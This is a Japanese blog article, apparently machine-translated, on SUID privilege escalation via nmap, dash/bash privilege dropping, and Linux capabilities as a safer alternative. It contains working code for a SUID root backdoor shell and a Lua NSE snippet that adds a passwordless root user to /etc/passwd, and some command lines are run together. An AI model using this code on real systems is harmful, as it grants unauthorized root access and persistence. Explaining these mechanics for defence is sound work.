このトピックについて言えば、最初に2つのことを紹介する必要があります。
suidエスカレーションとは
nmapがsuidを使用して権利をエスカレートできるのはなぜですか
**一般的に言って、Linuxは現在プログラムを実行しているユーザーの権限を使用してプログラムを実行しますが、これはもちろん合理的です。ただし、一般的に使用されるpingコマンドなど、いくつかの特別なプログラムがあります。 ****
0 x00suidエスカレーション
pingはICMPパケットを送信する必要があり、この操作はRawSocketを送信する必要があります。 Linux 2.2でCAPABILITIESを導入する前は、Raw Socketの使用にはroot権限が必要です(もちろん、CAPABILITIESの導入に権限が必要ないという意味ではありませんが、後で説明する他の方法で解決できます)。 -al $(ping)、そのパーミッションは-rwsr-xr-xであり、sビットがあります。これは次のとおりです。
suid:root@linux:~# ls -al /bin/ping-rwsr-xr-x 1 root root 44168 May 72014/bin/ping
suidのフルネームは、実行時に** S ** et所有者** U ** ser ** ID **です。これは、実行可能ファイルに対するLinuxの属性です。上記の状況で、通常のユーザーがpingコマンドも使用できる理由は、pingの実行可能ファイルにsuidアクセス許可を設定したためです。
sビットのプログラムが実行されている場合、その**有効なUID **がプログラムの所有者として設定されます。たとえば、プログラム / bin / ping
の所有者は0(root)であり、sビットを設定するため、通常のユーザーがpingを実行すると、**有効なUID **は0になります。これは、root権限を持つことと同じです。
ここでは、新しい概念の有効なUIDを紹介します。 Linuxプロセスは、実行時に3つのUIDを持っています。
通常の状況では、実効UIDと実UIDは等しいため、通常のユーザーはUID = 0でのみ書き込むことができる / etc / passwd
を書き込むことはできません。suidを使用するプログラムを起動すると、実効UIDはバイナリファイルの所有者と等しくなります。実際のUIDは有効なUIDと等しくない場合があります。
一部の学生は、特定のプログラムが許可を得ている限り、その権利を高めることができると述べましたが、この声明は実際には不正確です。このプログラムの所有者がNo.0または他のスーパーユーザーであり、suid権限を持っている場合にのみ、権限を上げることができます。
nmapを使用する学生は、UDPまたはTCP SYNをスキャンする場合は、root権限が必要であることを知っています。
$ nmap -sU targetYou requested a scan type which requires root privileges.QUITTING!$ nmap -sS 127.0.0.1You requested a scan type which requires root privileges.QUITTING!
その理由は、これらの操作でRawSocketが使用されるためです。
nmapを実行するためにsudoを使用しなければならない場合もありますが、スクリプトがnmapを呼び出すときにsudoにはttyが必要であり、パスワードの入力も必要になる場合があります。この制限により、多くの場合、不要な問題が発生します。
したがって、一部の管理者は、通常のユーザーがnmapを自由に実行できるように、nmapにsuid権限を追加します。
もちろん、sビットが追加されたnmapは安全ではなく、nmapを使用して権限を増やすことができます。 nmap 5.20より前には、インタラクティブなインタラクティブモードがありました。このモードを使用して、特権を増やすことができます。
![]( /img/f3d54ce7f698d04523c6df85cd620085/o16ftse8r1.png)安全性ゼロ
nmap 5.20以降、カスタムスクリプトをロードしてコマンドを実行できます。
1つの補足、-interactiveは、古いバージョンのnmapによって提供されるオプションである必要があります。このオプションは最近のnmapでは使用できませんが、コンテンツ
os.execute( '/ bin / sh')
を使用してnseスクリプトを記述できます。次に、nmap --script = shell.nse
を使用して、権利をエスカレーションします
ほとんどのnmapにはインタラクティブなインタラクティブモードがないため、これは確かに非常にタイムリーな追加です。
しかし、テストの結果、このメソッドで開始されたシェルはまだ現在のユーザーのものであるように見え、想像した特権のエスカレーションはありません。
インタラクティブモードを使用して特権を正常にエスカレーションしましたが、nmapバージョンが古すぎてスクリプトをサポートしていないため、スクリプトの特権エスカレーション方法をテストできません。同様に、新しいnmapはスクリプトをサポートしていますが、インタラクティブモードがなく、直接比較することはできません。権利を促進できなかった理由を推測することしかできません。
これらの推測には変数が多すぎるので、それを制御する必要があります。最初に古いバージョンのnmapのソースコードを読んだところ、実際、 !sh
は非常に単純なsystem( 'sh')
を実行し、有効なUID権限操作を破棄する必要がないことがわかりました。
} elseif(*myargv[0]=='!'){ cptr =strchr(command,'!');system(cptr +1);}
次に、このプロセスを次のようなCプログラム suid.c
に抽象化します。
int main(int argc, char* argv[]){returnsystem(argv[1]);}
コンパイルして、suid許可を与えます。
root@linux:/tmp# gcc suid.c -o suidroot@linux:/tmp# chmod +s suid
次に、さまざまなシステムでユーザーwww-dataとして 。/ suidid
を実行しようとしました。
Linuxリリース | 出力最終バージョン |
---|---|
Ubuntu 14.04 | uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data) |
Ubuntu 16.04 | uid=33(www-data) gid=33(www-data) groups=33(www-data) |
Ubuntu 18.04 | uid=33(www-data) gid=33(www-data) groups=33(www-data) |
CentOS 6 | uid=33(www-data) gid=33(www-data) groups=33(www-data) |
CentOS 8 | uid=33(www-data) gid=33(www-data) groups=33(www-data) |
Debian 6 | uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data) |
Debian 8 | uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data) |
Kali 2019 | uid=33(www-data) gid=33(www-data) groups=33(www-data) |
一部のシステムにはルート権限があり、一部のシステムにはまだ元のユーザー権限があることがわかります。そうすれば、nmapが権利を促進できなかった上記の理由を除外することができます。
同様に、CentOS6とDebian6はどちらも古いリリースですが、CentOS 6のパフォーマンスは新しいバージョンのUbuntuのパフォーマンスと似ています。インターネットで問い合わせやドキュメントを入手した後、bashでそのような説明を受け取りました。
If the shell is started with the effective user (group) id not equal to the real user (group) id, and the -p option is not supplied, no startup files are read, shell functions are not inherited from the environment, the SHELLOPTS, BASHOPTS, CDPATH, and GLOBIGNORE variables, if they appear in the environment, are ignored, and the effective user id is set to the real user id. If the -p option is supplied at invocation, the startup behavior is the same, but the effective user id is not reset.
bashの開始時に有効UIDが実際のUIDと異なり、-pパラメーターが使用されていない場合、bashは有効なUIDを実際のUIDに復元します。
Linuxの system()
関数は実際には / bin / sh -c
によって実行されますが、CentOSの / bin / sh
は / bin / bash
を指します。
[ root@localhost tmp]# ls -al /bin/shlrwxrwxrwx.1 root root 4 Apr 102017/bin/sh -> bash
これは、CentOSでsuidプログラムのIDを実行して得られた結果がまだwww-dataである理由を説明しています。この時点でshをダッシュに変更し、結果がどうなるかを確認するとします。
[ root@localhost tmp]# su -s /bin/bash nobodybash-4.1$ ls -al /bin/shlrwxrwxrwx.1 root root 9 Feb 1900:21/bin/sh ->/bin/dashbash-4.1$ ./suid iduid=99(nobody) gid=99(nobody) euid=0(root) egid=0(root) groups=0(root),99(nobody) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
ダッシュは有効なUIDを制限しません。ここで、root権限を正常に取得したことがわかります。
ただし、Ubuntu 16.04を見てみましょう。ここで、/ bin / shもダッシュを指しています。
$ ls -al /bin/shlrwxrwxrwx1ルートルート49182016/bin/sh -> dash$ ls -al /bin/dash-rwxr-xr-x1ルートルート1540722 2016年7月17日/bin/dash
なぜまだ権利を上げることができない状況があるのですか?
このとき、別の知識を理解する必要があります。一般的に言って、Ubuntuのようなディストリビューションはいくつかのプログラムを変更します。たとえば、PHPのバージョンを確認すると、公式に「PHP7.0.33-0ubuntu0.16.04.11」というバナーが表示されることがよくあります。 Ubuntuのいくつかのバージョン番号はのバージョン番号の後に追加されます。これは、Ubuntuディストリビューションがこれらのソフトウェアをパッケージ化するときに独自のコードのいくつかを追加するためです。
次に、Ubuntu16.04ソースのdashディレクトリを確認できます。
dash_0.5.8.orig.tar.gz
と dash_0.5.8-2.1ubuntu2.diff.gz
をダウンロードし、それぞれ解凍します。ダッシュ0.5.8の元のコードとUbuntuによって作成されたパッチを確認できます。 。
元のコードにパッチを適用した後、追加の setprivileged
関数が見つかります。
voidsetprivileged(int on){static int is_privileged =1;if(is_privileged == on)return;
is_privileged = on;/* * To limit bogus system(3) or popen(3) calls in setuid binaries, require * -p flag to work in this situation. */if(!on &&(uid !=geteuid()|| gid !=getegid())){setuid(uid);setgid(gid);/* PS1 might need to be changed accordingly. */choose_ps1();}}
on
の値は、ユーザーが -p
パラメーターを渡したかどうかによって異なり、uidとgidは現在のプロセスの実際のUID(GID)です。 onがfalseで、RealUIDがEffectiveUIDと等しくない場合、プロセスのUIDはここでリセットされることがわかります。
setuid(uid)
setuid関数は、現在のプロセスの実効UIDを設定するために使用されます。現在のプロセスがroot権限を持っているか、 CAP_SETUID
権限を持っている場合、実際のUIDと保存されたUIDは一緒に設定されます。
したがって、Ubuntuリリースが正式に変更されたダッシュであることがわかります。**ダッシュがsuid権限で実行され、 -p
オプションが指定されていない場合、suid権限は破棄され、現在のユーザー権限が復元されます。 ****
このように、dashのsuidパフォーマンスはbashと同じです。これは、Ubuntu 16.04以降、SUID + system()
を直接使用して特権を上げることができない理由を説明しています。
同様に、Debian 10の最新のダッシュをダウンロードすると、同様のコードも表示されます。では、なぜ主要なディストリビューションがこの制限をshに追加したのでしょうか。
これは、自殺権をエスカレートするためのLinuxによる一種の封じ込めとして理解できます。一般的に言って、多くのコマンドインジェクションの脆弱性は system()
および popen()
関数で発生し、これらの関数はシステムの/ bin / shに依存するためです。 CentOSと比較すると、UbuntuとDebianのshは常にダッシュであり、suid特権エスカレーションの脆弱性の影響を受けています。
suidまたはコマンドを実行する機能を備えたプログラムにコマンドインジェクションの脆弱性があると、ローカル特権エスカレーションのリスクがあります。この制限をshに追加すると、特権エスカレーションの隠れた危険性を大幅に抑えることができます。
それで、バックドアとしてsuidを備えたシェルを残したいだけの場合、どうすればよいでしょうか。
前の suid.c
を次のように変更します。
int main(int argc, char* argv[]){setuid(0);system(argv[1]);}
コンパイルして実行すると、idコマンドによって出力されたuidが0であることがわかります。
その理由は、現在のプロセスの実UIDも0に変更し、実UIDと実効UIDが等しく、ダッシュを入力した後は電力が降格されないためです。
別の方法として、-pオプションをdashまたはbashに追加して、シェルの権限を低下させないようにすることができます。ただし、 system()
の内部実行は / bin / sh -c
であるため、システム関数を使用できなくなったことに注意してください。制御できるのは-cのパラメーター値のみであり、shに-pオプションを追加することはできません。 。
ここでは、 execl
または他のexecシリーズ関数を使用できます。
int main(int argc, char* argv[]){returnexecl("/bin/sh","sh","-p","-c", argv[1],(char *)0);}
このときの出力はUbuntu14と同様です。.shを追加したので04の結果-pパラメータ:
元の質問に戻る:では、Ubuntu 18.04または同様のシステムでsuid特権を使用してnmapの特権をエスカレートするにはどうすればよいですか?
lua言語はnmapスクリプトで使用されており、luaライブラリでプロセスを直接開始する方法がないように思われるため、すべてシステムシェルに依存するため、シェルを実行して特権を直接上げることができない場合があります。ただし、現時点ではnmapにはroot権限があるため、 / etc / passwd
を変更して新しいスーパーユーザーを追加できます。
local file = io.open("/etc/passwd","a")file:write("root2::0:0::/root:/bin/bash\n")file:close()
エスカレーションの成功:
もちろん、LinuxカーネルとUbuntuおよびDebianディストリビューションの開発者に感謝する必要があります。彼らはまた、システムのセキュリティと安定性を継続的に改善するのにゆっくりと役立っていますが、nmapのような強力なソフトウェアと同様に、安全であるとは期待できません。デフォルトでは、もっと興味深い知識を学ぶ必要があります。
Linux 2.2以降、機能の概念が追加されました。これは、水平方向のアクセス許可の分離として理解できます。以前は、特定のプログラムの特定の機能に特権が必要な場合、rootを使用して実行またはSUID権限を追加することしかできませんでした。これが発生すると、このプログラムのすべての権限を付与することになりますが、これは最小権限の要件を満たしていません。機能の導入後、rootの権限は多くのサブ権限に分割され、権限の乱用の問題を回避します。これらの権限の説明は、capabilities(7)-Linuxマニュアルページで確認できます。
pingやnmapのようなプログラムは、実際にはネットワーク関連の特権のみを必要とします。したがって、Kaliでpingコマンドの機能を見ると、 cap_net_raw
が表示されます。
$ ls -al /bin/ping-rwxr-xr-x 1 root root 73496 Oct 522:34/bin/ping$ getcap /bin/ping/bin/ping = cap_net_raw+ep
これが、Kaliのpingコマンドがsetuid権限を設定する必要がない理由ですが、それでも通常のユーザーとして実行できます。
同様に、nmapに同様の機能を追加することもできます。
sudo setcap cap_net_raw,cap_net_admin,cap_net_bind_service+eip /usr/bin/nmapnmap --privileged -sS 192.168.1.1
TCP SYNスキャンを再度使用する場合、権限エラーは発生しません。